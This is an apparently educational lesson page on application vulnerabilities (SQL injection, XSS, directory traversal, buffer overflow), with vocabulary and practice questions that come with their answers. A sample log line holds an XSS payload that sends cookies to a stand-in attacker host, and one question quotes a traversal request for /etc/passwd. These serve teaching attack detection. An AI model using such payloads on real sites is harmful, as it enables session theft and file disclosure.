AP Cybersecurity
AP Cybersecurity / All lessons / Unit 5: Securing Applications and Data
5Unit 5: Securing Applications and Data
AP Cybersecurity topic 5.1

Application and Data Vulnerabilities and Attacks

Applications fail when they trust user input. SQL injection slips database commands into a form field. Cross-site scripting (XSS) injects scripts into pages other users view. Other risks include broken access control, exposed data, and outdated libraries.

Application and Data Vulnerabilities and Attacks vocabulary

  • SQL injection: Inserting database commands into input to read or change data.
  • XSS: Cross-site scripting: injecting script into a web page that runs in other users' browsers.
  • Input validation: Checking that input matches what is expected before using it.
  • Data breach: Unauthorized access to sensitive data.

AP-style practice questions

Try each one, then open the answer. To save your progress, take this quiz in the interactive course.

Skill: Detect Attacks 
[14/Mar/2026:09:40:11] "GET /search?q=robotics HTTP/1.1" 200
[14/Mar/2026:09:40:52] "GET /search?q=<script>document.location='http://evil.example/?c='+document.cookie</script> HTTP/1.1" 200

1. Which of the following application attacks is indicated in the log?

  1. (A) Cross-site scripting
  2. (B) Directory traversal
  3. (C) Buffer overflow
  4. (D) ARP poisoning
Show answer

(A) Cross-site scripting The input contains a script meant to run in a victim's browser and send their cookies to the adversary.

Skill: Analyze Risk

2. Which of the following is the most likely impact if the attack above succeeds against other users?

  1. (A) The web server's hard drive will be erased
  2. (B) Adversaries could steal session cookies and log in as those users
  3. (C) The network switch will flood
  4. (D) The website's domain name will expire
Show answer

(B) Adversaries could steal session cookies and log in as those users Stolen session cookies let an adversary hijack a logged-in session.

Skill: Detect Attacks

3. A request contains "GET /files?name=../../../etc/passwd". Which attack is being attempted?

  1. (A) SQL injection
  2. (B) Directory traversal
  3. (C) Phishing
  4. (D) Evil twin
Show answer

(B) Directory traversal The ../ sequences try to climb out of the allowed folder to read system files.

Skill: Analyze Risk

4. A program copies user input into a fixed-size memory area without checking its length. Which attack does this make possible?

  1. (A) Buffer overflow
  2. (B) Tailgating
  3. (C) Credential stuffing
  4. (D) DNS poisoning
Show answer

(A) Buffer overflow Input larger than the buffer can overwrite nearby memory and change how the program runs.

Open 5.1 in the interactive course